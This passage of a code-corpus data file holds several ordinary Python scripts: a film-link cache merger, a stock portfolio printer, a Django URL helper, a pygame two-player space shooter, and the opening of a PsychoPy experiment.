'r') as f:\n addDict = json.load(f)\n linkDict.update(addDict)\n\n with open(newFname, 'w') as f:\n json.dump(linkDict,f)\n\ndef eliminateRepeats(directory):\n repeatKeys = getRepeatKeys(directory)\n repeatLocations = getRepeatLocations(directory,repeatKeys)\n\n for i in range(len(repeatKeys)):\n with open(directory + repeatLocations[i][0],'r') as mainFile:\n mainDict = json.load(mainFile)\n mainEntries = mainDict[repeatKeys[i]]\n\n for file in repeatLocations[i][1:]:\n with open(directory + file,'r') as f:\n extraDict = json.load(f)\n mainEntries += extraDict[repeatKeys[i]]\n del extraDict[repeatKeys[i]]\n with open(directory + file,'w') as f:\n json.dump(extraDict,f)\n\n mainDict[repeatKeys[i]] = list(set(mainEntries))\n with open(directory + repeatLocations[i][0],'w') as mainFile:\n json.dump(mainDict,mainFile)\n\ndef getRepeatKeys(directory):\n linkDict = dict()\n repeatKeys = []\n for file in os.listdir(directory):\n with open(directory + file, 'r') as f:\n addDict = json.load(f)\n\n repeatKeys += [key for key in addDict if key in linkDict]\n linkDict.update(addDict)\n return repeatKeys\n\ndef getRepeatLocations(directory, repeatKeys):\n repeatLocations = [[] for _ in repeatKeys]\n files = os.listdir(directory)\n\n for file in files:\n with open(directory + file,'r') as f:\n dict = json.load(f)\n for i in range(len(repeatKeys)):\n if repeatKeys[i] in dict:\n repeatLocations[i] += [file]\n return repeatLocations\n\ndef fixFilmCache(fname):\n with open(fname, 'r') as f:\n linkDict = json.load(f)\n\n linkDict = pickLinks(linkDict)\n\n with open(fname, 'w') as f:\n json.dump(linkDict,f)\n\ndef pickLinks(linkDict):\n for key in linkDict:\n IMDBLinks = [link for link in linkDict[key] if 'imdb.com/title/' in link]\n RTLinks = [link for link in linkDict[key] if 'rottentomatoes.com/m' in link]\n BOMLinks = [link for link in linkDict[key] if 'boxofficemojo.com/movies' in link]\n WikiLinks = [link for link in linkDict[key] if 'wikipedia.org' in link]\n\n if len(IMDBLinks)>1:\n print(key)\n linkDict[key] = [link for link in linkDict[key] if 'imdb.com/title/' not in link] + \\\n pickCorrectLink(IMDBLinks)\n if len(RTLinks)>1:\n print(key)\n linkDict[key] = [link for link in linkDict[key] if 'rottentomatoes.com/m' not in link] + \\\n pickCorrectLink(RTLinks)\n if len(BOMLinks)>1:\n print(key)\n linkDict[key] = [link for link in linkDict[key] if 'boxofficemojo.com/movies' not in link] + \\\n pickCorrectLink(BOMLinks)\n\n if len(WikiLinks)>1:\n print(key)\n linkDict[key] = [link for link in linkDict[key] if 'wikipedia.org' not in link] + \\\n pickCorrectLink(WikiLinks)\n return linkDict\n\ndef pickCorrectLink(Links):\n for i in range(len(Links)):\n print(str(i) + ': ' + Links[i])\n choice = input('Which is correct?')\n while choice not in [str(i) for i in range(len(Links))]:\n print('Invalid Input')\n choice = input('Which is correct?')\n\n return [Links[int(choice)]]\n","sub_path":"CacheMethods/combineAllCaches.py","file_name":"combineAllCaches.py","file_ext":"py","file_size_in_byte":3648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"442436880","text":"stockDict = {\n \"GM\": \"General Motors\",\n \"CAT\": \"Caterpillar\",\n \"EK\": \"Eastman Kodak\",\n \"GE\": \"General Electric\"\n}\n\npurchases = [\n ('GE', 100, '10-sep-2001', 48),\n ('CAT', 100, '1-apr-1999', 24),\n ('CAT', 50, '1-jan-1999', 30),\n ('GE', 200, '1-jul-1998', 56),\n ('GM', 150, '1-mar-1997', 36),\n ('GM', 100, '1-dec-1996', 40),\n ('GM', 150, '1-mar-1996', 38),\n ('EK', 200, '20-feb-1996', 42)\n]\n\n\nfor purchase in purchases:\n print(\n f\"I purchased {stockDict[purchase[0]]} stock for ${purchase[1] * purchase[3]}\")\n\nportfolio = {}\n\nfor purchase in purchases:\n if portfolio.get(purchase[0]):\n portfolio[purchase[0]].append([purchase[1], purchase[2], purchase[3]])\n else:\n portfolio[purchase[0]] = [[purchase[1], purchase[2], purchase[3]]]\n\nfor (key, value) in portfolio.items():\n print(f\"------ {key} ------\")\n totalValue = 0\n for item in value:\n totalValue += item[0] * item[2]\n print(f\"{item[0]} shares at {item[2]} dollars each on {item[1]}\")\n print(f\"\\nTotal value of stock in portfolio: ${totalValue}\")\n","sub_path":"stocks.py","file_name":"stocks.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"437700225","text":"from django.conf import settings\n\nfrom amo.urlresolvers import get_url_prefix, reverse, url_fix\n\n\ndef remora_url(url, lang=None, app=None, prefix=''):\n \"\"\"\n Builds a remora-style URL, independent from Zamboni's prefixer logic.\n If app and/or lang are None, the current Zamboni values will be used.\n To omit them from the URL, set them to ''.\n \"\"\"\n prefixer = get_url_prefix()\n if lang is None:\n lang = getattr(prefixer, 'locale', settings.LANGUAGE_CODE)\n if app is None:\n app = getattr(prefixer, 'app', settings.DEFAULT_APP)\n\n url_parts = [p for p in (prefix.strip('/'), lang, app, url.lstrip('/'))\n if p]\n\n return url_fix('/'+'/'.join(url_parts))\n","sub_path":"apps/cake/urlresolvers.py","file_name":"urlresolvers.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"164790246","text":"# Imports\r\nimport pygame\r\nimport intersects\r\nimport xbox360_controller\r\nimport random\r\n\r\n\r\n# Initialize game engine\r\npygame.init()\r\n\r\n# Window\r\nWIDTH = 800\r\nHEIGHT = 600\r\nSIZE = (WIDTH, HEIGHT)\r\nTITLE = \"Space Fighters\"\r\nscreen = pygame.display.set_mode(SIZE)\r\npygame.display.set_caption(TITLE)\r\n\r\n# Timer\r\nclock = pygame.time.Clock()\r\nrefresh_rate = 60\r\n\r\n#controller objects\r\nmy_controller1 = xbox360_controller.Controller(0)\r\nmy_controller2 = xbox360_controller.Controller(1)\r\n\r\n# Colors\r\nTIEL = (19, 239, 183)\r\nMAROON = (198, 3, 3) \r\nRED = (255, 0, 0)\r\nWHITE = (255, 255, 255)\r\nBLACK = (0, 0, 0)\r\nYELLOW = (255, 255, 0)\r\nGREEN = (0, 255, 0)\r\nBLUE = (0,0,205)\r\n\r\n#sounds\r\ncoin = pygame.mixer.Sound('sounds/coin.ogg')\r\ntrack = pygame.mixer.Sound('sounds/retro1.ogg')\r\nlazer = pygame.mixer.Sound('sounds/lazer2.ogg')\r\nexplode = pygame.mixer.Sound('sounds/explode.ogg')\r\nclick = pygame.mixer.Sound('sounds/click.ogg')\r\n\r\n#fonts\r\nfont0 = font1 = pygame.font.Font(\"fonts/space_age.ttf\",15)\r\nfont1 = pygame.font.Font(\"fonts/space_age.ttf\",25)\r\nfont2 = pygame.font.Font(\"fonts/space_age.ttf\",40)\r\nfont3 = pygame.font.Font(\"fonts/space_age.ttf\",50)\r\n\r\n#pics\r\nspace = pygame.image.load('pictures/space.png')\r\nblack_space = pygame.image.load('pictures/black_space.jpg')\r\npotion = pygame.image.load('pictures/potion.png')\r\nshield = pygame.image.load('pictures/shield.png')\r\nexplo1 = pygame.image.load('pictures/explo1.png')\r\nexplo2 = pygame.image.load('pictures/explo2.png')\r\nexplo3 = pygame.image.load('pictures/explo3.png')\r\nexplo4 = pygame.image.load('pictures/explo4.png')\r\nexplo5 = pygame.image.load('pictures/explo5.png')\r\nexplo6 = pygame.image.load('pictures/explo6.png')\r\nexplo7 = pygame.image.load('pictures/explo7.png')\r\nexplo8 = pygame.image.load('pictures/explo8.png')\r\n\r\nex_list = [explo1,explo2,explo2,explo3,explo4,explo5,explo6,explo7,explo8]\r\n\r\nship_1 = pygame.image.load('pictures/craft1.png')\r\nship_2 = pygame.transform.rotate(ship_1, 90)\r\nship_3 = pygame.transform.rotate(ship_2, 90)\r\nship_4 = pygame.transform.rotate(ship_3, 90)\r\nframes1 = [ship_1, ship_2, ship_3, ship_4]\r\n\r\ncraft_1 = pygame.image.load('pictures/ship1.png')\r\ncraft_2 = pygame.transform.rotate(craft_1, 90)\r\ncraft_3 = pygame.transform.rotate(craft_2, 90)\r\ncraft_4 = pygame.transform.rotate(craft_3, 90)\r\nframes2 = [craft_1,craft_2, craft_3, craft_4]\r\n\r\none = pygame.image.load('pictures/one.png')\r\ntwo = pygame.image.load('pictures/two.png')\r\nthree = pygame.image.load('pictures/three.png')\r\nfight = pygame.image.load('pictures/fight.png')\r\ncount = [one,two,three]\r\n\r\nicon1 = pygame.image.load('pictures/icon1.png')\r\n\r\nasteroid = pygame.image.load('pictures/asteroid.png')\r\n\r\n#player1\r\nplayer1 = [200, 150,25,25]\r\nhealth1 = [5,5]\r\nshield1 = [3,3] \r\nchar1 = 1\r\narrow_pos1 = [250,320]\r\ninvins1 = False\r\ntimer1 = 90\r\ncooldown1 = [25,25]\r\nvel1 = [0, 0]\r\ndir1 = 1\r\nbullets1 = []\r\n\r\n#player2\r\nplayer2 = [250, 150, 25, 25]\r\nhealth2 = [5,5]\r\nshield2 = [3,3]\r\nchar2 = 1\r\narrow_pos2 = [265,320]\r\ninvins2 = False\r\ntimer2 = 90\r\ncooldown2 = [25,25]\r\nvel2 = [0, 0]\r\ndir2 = 1\r\nbullets2 = []\r\n\r\nplayer_speed = 5\r\nsensitivity = .4\r\n# make walls\r\nwall1 = [0, 0, 25, 600]\r\nwall2 = [0, 0, 800, 25]\r\nwall3 = [775, 0, 25, 600]\r\nwall4 = [0,575,800,25]\r\nwall5 = [300,250,250,25]\r\nwall6 = [550,250,25,251]\r\nwall7 = [300,500,275,25]\r\nwall8 = [300,100,25,100]\r\nwall9 = [150, 100, 400, 25]\r\nwall10 = [150,100,25,400]\r\n\r\nwalls = [wall1,wall2, wall3,wall4,wall5,wall6,wall7,wall8,wall9,wall10]\r\n \r\n# Make potions\r\npot1 = [300, 475,25,25]\r\npot2 = [400, 200,25,25]\r\npot3 = [100, 150,25,25]\r\npots = [pot1, pot2, pot3]\r\n\r\n#make shields\r\ns1 = [450,400,40,40]\r\ns2 = [650,400,40,40]\r\nshields = [s1,s2]\r\n\r\n# Game loop\r\nwin = False\r\ndone = False\r\n\r\n'''functions for the game'''\r\ndef title_screen():\r\n screen.blit(black_space,[0,0])\r\n s1 = font2.render(\"Welcome to Space Wars\",1,TIEL)\r\n s2 = font1.render(\"Left joystick to move\",1,TIEL)\r\n s3 = font1.render(\"Right joystick to shoot\",1,TIEL)\r\n s4 = font1.render(\"Press 'start' when ready!\",1,TIEL)\r\n screen.blit(s1,[(WIDTH//2) - ((s1.get_width())//2),100])\r\n screen.blit(s2,[(WIDTH//2) - ((s2.get_width())//2),300])\r\n screen.blit(s3,[(WIDTH//2) - ((s3.get_width())//2),400])\r\n screen.blit(s4,[(WIDTH//2) - ((s4.get_width())//2),500])\r\n\r\ndef char_selection_screen():\r\n screen.blit(black_space, [0,0]) \r\n \r\n s1 = font2.render(\"Choose Your Player!\",1,TIEL)\r\n s2 = font1.render(\"Press up to lock in character!\",1,TIEL)\r\n s3 = font0.render(\"Shield: 5\",1,TIEL)\r\n s4 = font0.render(\"Attack Speed: slow\",1,TIEL)\r\n s5 = font0.render(\"Shield: 1\",1,TIEL)\r\n s6 = font0.render(\"Attack Speed: fast\",1,TIEL)\r\n screen.blit(s1,[(WIDTH//2) - ((s1.get_width())//2),100])\r\n screen.blit(s2,[(WIDTH//2) - ((s2.get_width())//2),500])\r\n screen.blit(s3,[200,150])\r\n screen.blit(s4,[150,165])\r\n screen.blit(s5,[500,150])\r\n screen.blit(s6,[450,165])\r\n \r\n ship_sprite1 = pygame.transform.scale2x(ship_1)\r\n ship_sprite2 = pygame.transform.scale2x(craft_1)\r\n \r\n screen.blit(ship_sprite1, [200,200])\r\n screen.blit(ship_sprite2, [500,200])\r\n\r\ndef char_lockin(arrow_pos):\r\n if arrow_pos[0] < 550:\r\n return 1\r\n if arrow_pos[0] > 250:\r\n return 2\r\n \r\ndef move_arrow(lt_x,lockin,arrow_pos):\r\n if lt_x > sensitivity and not lockin:\r\n if arrow_pos[0] < 270:\r\n arrow_pos[0] += 300\r\n click.play()\r\n if lt_x < -sensitivity and not lockin:\r\n if arrow_pos[0] > 270:\r\n arrow_pos[0] -= 300\r\n click.play()\r\n \r\ndef draw_arrow(x,y,player):\r\n if player == 1:\r\n pygame.draw.rect(screen, RED, [x,y,5,15])\r\n else:\r\n pygame.draw.rect(screen, GREEN, [x,y,5,15])\r\n \r\ndef end_screen(health1):\r\n winner = \"Player1\"\r\n if health1[0] <= 0:\r\n winner = \"Player2\"\r\n \r\n s2 = font2.render(winner + \" wins!\",1,TIEL)\r\n screen.blit(s2,[(WIDTH//2) - ((s2.get_width())//2),250])\r\n s1 = font2.render(\"Press 'start' to play again\",1,TIEL)\r\n screen.blit(s1,[(WIDTH//2) - ((s1.get_width())//2),300])\r\n \r\ndef shoot(player,direc,bullets,rt_x,rt_y):\r\n x = player[0]\r\n y = player[1]\r\n\r\n if rt_x > .2:\r\n b_vel = [24,0]\r\n shape = [15,5]\r\n y += 17\r\n bullets.append( [x, y, shape[0], shape[1], b_vel] )\r\n lazer.play()\r\n \r\n elif rt_x < -.2:\r\n b_vel = [-24,0]\r\n shape = [15,5]\r\n y += 17\r\n bullets.append( [x, y, shape[0], shape[1], b_vel] )\r\n lazer.play() \r\n elif rt_y > .2:\r\n b_vel = [0,24]\r\n shape = [5,15]\r\n x += 17\r\n bullets.append( [x, y, shape[0], shape[1], b_vel] )\r\n lazer.play() \r\n elif rt_y < -.2:\r\n b_vel = [0,-24]\r\n x += 17\r\n shape = [5,15]\r\n bullets.append( [x, y, shape[0], shape[1], b_vel] )\r\n lazer.play()\r\n \r\ndef draw_bullet(x,y,l,w):\r\n pygame.draw.rect(screen, GREEN, [x,y,l,w])\r\n\r\n\r\ndef make_asteroids():\r\n rocks = []\r\n for i in range(10):\r\n x = random.randrange(400,1200)\r\n y = random.randrange(-600,-20)\r\n a = [x,y,30,23]\r\n rocks.append(a)\r\n return rocks\r\n\r\ndef get_frame_list(char):\r\n if char == 1:\r\n return frames1\r\n if char == 2:\r\n return frames2\r\n\r\ndef get_stats(char,shield,cooldown):\r\n if char == 1:\r\n shield[1] = 5\r\n cooldown[1] = 25\r\n if char == 2:\r\n shield[1] = 1\r\n cooldown[1] = 10\r\n shield[0] = shield[1]\r\n cooldown[0] = cooldown[1]\r\n\r\ndef get_frame(direc,frames,health):\r\n frame = frames[0]\r\n if direc == 2:\r\n frame = frames[1]\r\n elif direc == 3:\r\n frame = frames[2]\r\n elif direc == 4:\r\n frame = frames[3]\r\n\r\n return frame\r\n\r\ndef edge_detect(player):\r\n left = player[0]\r\n right = player[0] + player[2]\r\n top = player[1]\r\n bottom = player[1] + player[3]\r\n \r\n if left > WIDTH:\r\n player[0] = 0 - player[2]\r\n elif right < 0:\r\n player[0] = WIDTH\r\n \r\n if bottom < 0:\r\n player[1] = HEIGHT\r\n elif top > HEIGHT:\r\n player[1] = 0 - player[3]\r\n\r\ndef collect_pot(hit_list,health):\r\n for hit in hit_list:\r\n if health[0] != health[1]:\r\n pots.remove(hit)\r\n heal(health)\r\n coin.play()\r\n\r\ndef collect_shield(shield_list, shield):\r\n for collect in shield_list:\r\n if shield[0] != shield[1]:\r\n shields.remove(collect)\r\n shield[0] = shield[1]\r\n coin.play()\r\n \r\ndef move_bullets(bullets):\r\n for bullet in bullets:\r\n b_vel = bullet[4]\r\n \r\n bullet[0] += b_vel[0]\r\n bullet[1] += b_vel[1]\r\n\r\n for w in walls:\r\n for b in bullets:\r\n if intersects.rect_rect(b,w):\r\n bullets.remove(b)\r\n\r\ndef draw_bullets(bullets):\r\n for b in bullets:\r\n draw_bullet(b[0],b[1],b[2],b[3])\r\n \r\n if b[0] < -10 or b[0] > WIDTH \\\r\n or b[1] < -10 or b[1] > HEIGHT:\r\n bullets.remove(b)\r\n\r\ndef health_bar(x,health,shield):\r\n current_health = health[0]\r\n max_health = health[1]\r\n \r\n current_shield = shield[0]\r\n max_shield = shield[1]\r\n \r\n percent_health = current_health/max_health\r\n percent_shield = current_shield/max_shield\r\n \r\n pygame.draw.rect(screen, GREEN, [x,8,percent_health*160,15])\r\n pygame.draw.rect(screen, BLUE, [x,8,percent_shield*160,15])\r\n\r\n #border\r\n pygame.draw.rect(screen, BLACK, [x + 160,8,2,15])\r\n pygame.draw.rect(screen, BLACK, [x,21,160,2])\r\n pygame.draw.rect(screen, BLACK, [x,8,160,2])\r\n pygame.draw.rect(screen, BLACK, [x - 1,8,3,15])\r\n\r\ndef get_damage(dmglist,invins,shield,health):\r\n for s in dmglist:\r\n if not invins:\r\n if shield[0] > 0:\r\n shield[0] -= 1\r\n else:\r\n health[0] -= 1\r\n invins = True\r\n \r\ndef heal(health):\r\n health[0] += 1\r\n if health[0] > health[1]:\r\n health[0] = health[1]\r\n\r\ndef setup(health1,health2,pots,shields):\r\n global stage,countdown_ticks,explosion_ticks,arrow_pos1,arrow_pos2,lockin1,lockin2,asteroids\r\n stage = CHAR_SELECT\r\n lockin1,lockin2 = False,False\r\n countdown_ticks = 0\r\n explosion_ticks = 0\r\n\r\n #makes new asteroid list\r\n asteroids = make_asteroids()\r\n \r\n #reset arrow pos\r\n arrow_pos1,arrow_pos2 = [250,320],[265,320]\r\n\r\n #reset health\r\n health1[0] = health1[1]\r\n health2[0] = health2[1]\r\n \r\n #reset shield\r\n shield1[0] = shield1[1]\r\n shield2[0] = shield2[1]\r\n\r\n #spawn point\r\n player1[0],player1[1] = 50,50\r\n player2[0],player2[1] = 675,200\r\n vel1[0],vel1[1] = 0,0\r\n vel2[0],vel2[1] = 0,0\r\n \r\n track.set_volume(0.1)\r\n\r\n \r\nCHAR_SELECT = 0\r\nSTART = 1\r\nCOUNT_DOWN = 2\r\nPLAYING = 3\r\nEND = 4\r\n\r\nsetup(health1,health2,pots,shields)\r\ntrack.play(-1)\r\n\r\nwhile not done:\r\n # Event processing (React to key presses, mouse clicks, etc.)\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n done = True\r\n \r\n pressed1 = my_controller1.get_buttons()\r\n pressed2 = my_controller2.get_buttons()\r\n \r\n a1 = pressed1[xbox360_controller.A]\r\n lt_x1, lt_y1 = my_controller1.get_left_stick()\r\n rt_x1, rt_y1 = my_controller1.get_right_stick()\r\n start1 = pressed1[xbox360_controller.START]\r\n select1 = pressed1[xbox360_controller.BACK]\r\n\r\n a2 = pressed2[xbox360_controller.A]\r\n lt_x2, lt_y2 = my_controller2.get_left_stick()\r\n rt_x2, rt_y2 = my_controller2.get_right_stick()\r\n start2 = pressed2[xbox360_controller.START]\r\n select2 = pressed2[xbox360_controller.BACK]\r\n\r\n '''controls while game is playing''' \r\n if stage == PLAYING:\r\n \r\n #shoots bullet\r\n if cooldown1[0] < cooldown1[1]:\r\n cooldown1[0] += 1\r\n else:\r\n shoot(player1,dir1,bullets1,rt_x1,rt_y1)\r\n cooldown1[0] = 0\r\n \r\n if cooldown2[0] < cooldown2[1]:\r\n cooldown2[0] += 1\r\n else:\r\n shoot(player2,dir2,bullets2,rt_x2,rt_y2)\r\n cooldown2[0] = 0\r\n \r\n #player 1 move\r\n if lt_x1 < -sensitivity :\r\n vel1[0] = -player_speed\r\n dir1 = 2\r\n elif lt_x1 > sensitivity :\r\n vel1[0] = player_speed\r\n dir1 = 4\r\n else:\r\n vel1[0] = 0\r\n\r\n if lt_y1 < -sensitivity :\r\n vel1[1] = -player_speed\r\n dir1 = 1\r\n elif lt_y1 > sensitivity :\r\n vel1[1] = player_speed\r\n dir1 = 3\r\n else:\r\n vel1[1] = 0\r\n \r\n #player2 move\r\n if lt_x2 < -sensitivity :\r\n vel2[0] = -player_speed\r\n dir2 = 2\r\n elif lt_x2 > sensitivity :\r\n vel2[0] = player_speed\r\n dir2 = 4\r\n else:\r\n vel2[0] = 0\r\n \r\n if lt_y2 < -sensitivity :\r\n vel2[1] = -player_speed\r\n dir2 = 1\r\n elif lt_y2 > sensitivity :\r\n vel2[1] = player_speed\r\n dir2 = 3\r\n else:\r\n vel2[1] = 0\r\n \r\n #move bullets\r\n move_bullets(bullets1)\r\n move_bullets(bullets2)\r\n\r\n #setting the frame of the ship\r\n frame_list1 = get_frame_list(char1)\r\n frame_list2 = get_frame_list(char2)\r\n \r\n frame1 = get_frame(dir1,frame_list1,health1)\r\n frame2 = get_frame(dir2,frame_list2,health2)\r\n \r\n #updates the dimension of hit box based off of frame\r\n player1[2] = frame1.get_width()\r\n player1[3] = frame1.get_height()\r\n\r\n player2[2] = frame2.get_width()\r\n player2[3] = frame2.get_height()\r\n \r\n ''' move the player in horizontal direction '''\r\n player1[0] += vel1[0]\r\n player2[0] += vel2[0]\r\n \r\n ''' resolve collisions horizontally '''\r\n for w in walls:\r\n \r\n if intersects.rect_rect(player1, w): \r\n if vel1[0] > 0:\r\n player1[0] = w[0] - player1[2]\r\n elif vel1[0] < 0:\r\n player1[0] = w[0] + w[2]\r\n \r\n if intersects.rect_rect(player2, w): \r\n if vel2[0] > 0:\r\n player2[0] = w[0] - player2[2]\r\n elif vel2[0] < 0:\r\n player2[0] = w[0] + w[2]\r\n \r\n ''' move the player in vertical direction '''\r\n player1[1] += vel1[1]\r\n player2[1] += vel2[1]\r\n \r\n ''' resolve collisions vertically '''\r\n for w in walls:\r\n \r\n if intersects.rect_rect(player1, w): \r\n if vel1[1] > 0:\r\n player1[1] = w[1] - player1[3]\r\n if vel1[1]< 0:\r\n player1[1] = w[1] + w[3]\r\n \r\n if intersects.rect_rect(player2, w): \r\n if vel2[1] > 0:\r\n player2[1] = w[1] - player2[3]\r\n if vel2[1]< 0:\r\n player2[1] = w[1] + w[3]\r\n \r\n\r\n ''' here is where you should resolve player collisions with screen edges '''\r\n #edge detection\r\n edge_detect(player1)\r\n edge_detect(player2)\r\n \r\n #hit list of the players\r\n pot_list1 = [p for p in pots if intersects.rect_rect(player1, p)]\r\n pot_list2 = [p for p in pots if intersects.rect_rect(player2, p)]\r\n\r\n #heals player per potion\r\n collect_pot(pot_list1,health1)\r\n collect_pot(pot_list2,health2)\r\n \r\n #strike list, detects players collisions with bullets\r\n strikes1 = [s for s in bullets2 if intersects.rect_rect(player1,s)]\r\n strikes2 = [s for s in bullets1 if intersects.rect_rect(player2,s)]\r\n\r\n crash1 = [a for a in asteroids if intersects.rect_rect(player1,a)]\r\n crash2 = [a for a in asteroids if intersects.rect_rect(player2,a)]\r\n\r\n #hit list of the shields\r\n shield_list1 = [s for s in shields if intersects.rect_rect(player1, s)]\r\n shield_list2 = [s for s in shields if intersects.rect_rect(player2, s)]\r\n\r\n #replenishes players shield per shield\r\n collect_shield(shield_list1,shield1)\r\n collect_shield(shield_list2,shield2)\r\n\r\n\r\n #checks if player is invincible and reduces invincibility timer\r\n if invins1:\r\n timer1 -= 1\r\n if timer1 == 0:\r\n invins1 = False\r\n timer1 = 90\r\n\r\n if invins2:\r\n timer2 -= 1\r\n if timer2 == 0:\r\n invins2 = False\r\n timer2 = 90\r\n\r\n '''player damaged from collision'''\r\n if stage == PLAYING:\r\n for s in strikes1:\r\n if not invins1:\r\n if shield1[0] > 0:\r\n shield1[0] -= 1\r\n else:\r\n health1[0] -= 1\r\n invins1 = True\r\n \r\n for s in crash1:\r\n if not invins1:\r\n if shield1[0] > 0:\r\n shield1[0] -= 1\r\n else:\r\n health1[0] -= 1\r\n invins1 = True\r\n \r\n \r\n for s in strikes2:\r\n if not invins2:\r\n if shield2[0] > 0:\r\n shield2[0] -= 1\r\n else:\r\n health2[0] -= 1\r\n invins2 = True\r\n \r\n for s in crash2:\r\n if not invins2:\r\n if shield2[0] > 0:\r\n shield2[0] -= 1\r\n else:\r\n health2[0] -= 1\r\n invins2 = True\r\n \r\n #move asteroids\r\n for a in asteroids:\r\n a[0] -= 1\r\n a[1] += 1\r\n\r\n if a[0] < -75 or a[1] > 630:\r\n a[0] = random.randrange(400, 1200)\r\n a[1] = random.randrange(-150,-50)\r\n \r\n #checks if game ends\r\n if health1[0] == 0:\r\n explode.play()\r\n stage = END\r\n if health2[0] == 0:\r\n explode.play()\r\n stage = END\r\n\r\n \r\n \r\n '''drawing code'''\r\n screen.fill(BLACK)\r\n screen.blit(space,[0,0])\r\n\r\n #draw bullets\r\n draw_bullets(bullets1)\r\n draw_bullets(bullets2)\r\n\r\n #draw walls\r\n for w in walls:\r\n pygame.draw.rect(screen, RED, w)\r\n\r\n #draw coins\r\n for p in pots:\r\n screen.blit(potion, [p[0],p[1]])\r\n\r\n #draw shields\r\n for s in shields:\r\n screen.blit(shield, [s[0],s[1]])\r\n\r\n #draw players\r\n if health1[0] != 0:\r\n screen.blit(frame1, [player1[0],player1[1]])\r\n if health2[0] != 0:\r\n screen.blit(frame2, [player2[0],player2[1]])\r\n\r\n #draw asteroids\r\n for a in asteroids:\r\n screen.blit(asteroid,a[:2])\r\n\r\n #display player names\r\n s1 = font0.render(\"Player1: \",1,TIEL)\r\n screen.blit(s1,[10,8])\r\n\r\n s2 = font0.render(\"Player2: \" ,1,TIEL)\r\n screen.blit(s2,[465,8])\r\n\r\n #dispalys health bars\r\n health_bar(100,health1,shield1)\r\n health_bar(560,health2,shield2)\r\n\r\n\r\n '''character selection screen'''\r\n if stage == CHAR_SELECT:\r\n char_selection_screen()\r\n \r\n draw_arrow(arrow_pos1[0],arrow_pos1[1],1)\r\n draw_arrow(arrow_pos2[0],arrow_pos2[1],2)\r\n \r\n move_arrow(lt_x1,lockin1,arrow_pos1)\r\n if lt_y1 < -sensitivity :\r\n arrow_pos1[1] = 300\r\n lockin1 = True \r\n if lt_y1 > sensitivity :\r\n arrow_pos1[1] = 320\r\n lockin1 = False\r\n\r\n move_arrow(lt_x2,lockin2,arrow_pos2)\r\n if lt_y2 < -sensitivity :\r\n arrow_pos2[1] = 300\r\n lockin2 = True \r\n if lt_y2 > sensitivity :\r\n arrow_pos2[1] = 320\r\n lockin2 = False\r\n\r\n #locks in character based on which is slected\r\n char1 = char_lockin(arrow_pos1)\r\n char2 = char_lockin(arrow_pos2)\r\n\r\n #if both players lockin, get the stats for each ship and start game\r\n if lockin1 and lockin2:\r\n get_stats(char1,shield1,cooldown1)\r\n get_stats(char2,shield2,cooldown2)\r\n stage = START\r\n \r\n '''intro stage'''\r\n if stage == START:\r\n title_screen()\r\n if start1 or start2:\r\n stage = COUNT_DOWN\r\n\r\n '''count down stage'''\r\n if stage == COUNT_DOWN:\r\n sec = countdown_ticks/60\r\n \r\n if sec <= 1:\r\n screen.blit(three,[WIDTH//2 - 100,200])\r\n track.set_volume(0.2)\r\n elif sec > 1 and sec <= 2:\r\n screen.blit(two,[WIDTH//2 - 100,200])\r\n track.set_volume(0.4)\r\n elif sec > 2 and sec <= 3:\r\n screen.blit(one,[WIDTH//2 - 100,200])\r\n track.set_volume(0.6)\r\n elif sec > 3 and sec <= 4:\r\n screen.blit(fight,[WIDTH//2 - 200,200])\r\n track.set_volume(0.8)\r\n elif sec > 4:\r\n stage = PLAYING\r\n \r\n countdown_ticks += 1\r\n \r\n '''ending stage'''\r\n if stage == END:\r\n vel1,vel2 = [0,0],[0,0]\r\n\r\n #displays explosion\r\n explo_pos = player1[:2]\r\n if health2[0] == 0:\r\n explo_pos = player2[:2]\r\n\r\n ex_frame = explosion_ticks//5\r\n if ex_frame > 8:\r\n ex_frame = 8\r\n if ex_frame < 8:\r\n screen.blit(ex_list[ex_frame],explo_pos)\r\n\r\n #adds to ticks\r\n explosion_ticks += 1\r\n \r\n end_screen(health1)\r\n if start1 or start2:\r\n setup(health1,health2,pots,shields)\r\n \r\n \r\n # Update screen (Actually draw the picture in the window.)\r\n pygame.display.flip()\r\n\r\n # Limit refresh rate of game loop \r\n clock.tick(refresh_rate)\r\n\r\n# Close window and quit\r\npygame.quit()\r\n","sub_path":"space_battle.py","file_name":"space_battle.py","file_ext":"py","file_size_in_byte":21663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"454643909","text":"\nfrom __future__ import unicode_literals, division, print_function\n \n# modules aus PsychoPy importieren\nfrom psychopy import visual, core, event\nimport random\nimport numpy as np\n\n \nv_winObj = visual.Window(\n color=[0.5,0.5,0.5],\n colorspace='rgb255',\n fullscr=True,\n size=[800,600], \n units='pix')\n\n\n#Variablen Initialisieren\ncounterNV = 0\ncounterV =0\nstringCountV = \"Count V: %s\"%(counterV)\nstringCountNV = \"Count NV: %s\"%(counterNV)\n#wenn neues Rauschen ausgewertet (1) wenn new Picture wieder frei geben (0)\nnewPicture = 0\n#\nanswerNotPressed = 0\nnextOne = 0\n\n\n#Beschriftung hinzufügen\nv_instruktion = visual.TextStim(v_winObj, 'Klicke in Oval', pos =[290, 250])\nv_instruktionCounter = visual.TextStim(v_winObj, stringCountV +\" \"+ stringCountNV, pos =[260, 280])\nv_instruktionNext = visual.TextStim(v_winObj, \"Next\", pos =[290, 130])\nv_vorhanden = visual.TextStim(v_winObj, 'Vorhanden:', pos=[290,40])\nv_nichtVorhanden = visual.TextStim(v_winObj, 'Nicht Vorhanden:', pos=[290,-35])\n\n \n# Kreis erzeugen\nv_kreisObj = visual.Circle(v_winObj, radius=20, pos=[290, 75])\nv_kreisObj.setFillColor(color=[0, 255, 255],colorSpace='rgb255')\nv_nextObj = visual.Circle(v_winObj, radius=20, pos=[290, 130])\n\n# Kreis erzeugen\nv_kreisObj2 = visual.Circle(v_winObj, radius=20, pos=[290, 0])\nv_kreisObj2.setFillColor(color=[0, 155, 155], colorSpace='rgb255')\n# Maus erzeugen\nv_mausObj = event.Mouse(win = v_winObj)\n\n\n#Zufallszahlenfunktion\ndef newRand():\n \n#Anzahl der Punkte\n n_dots = 100000\n\n#Position der Punkte\n dot_xys = 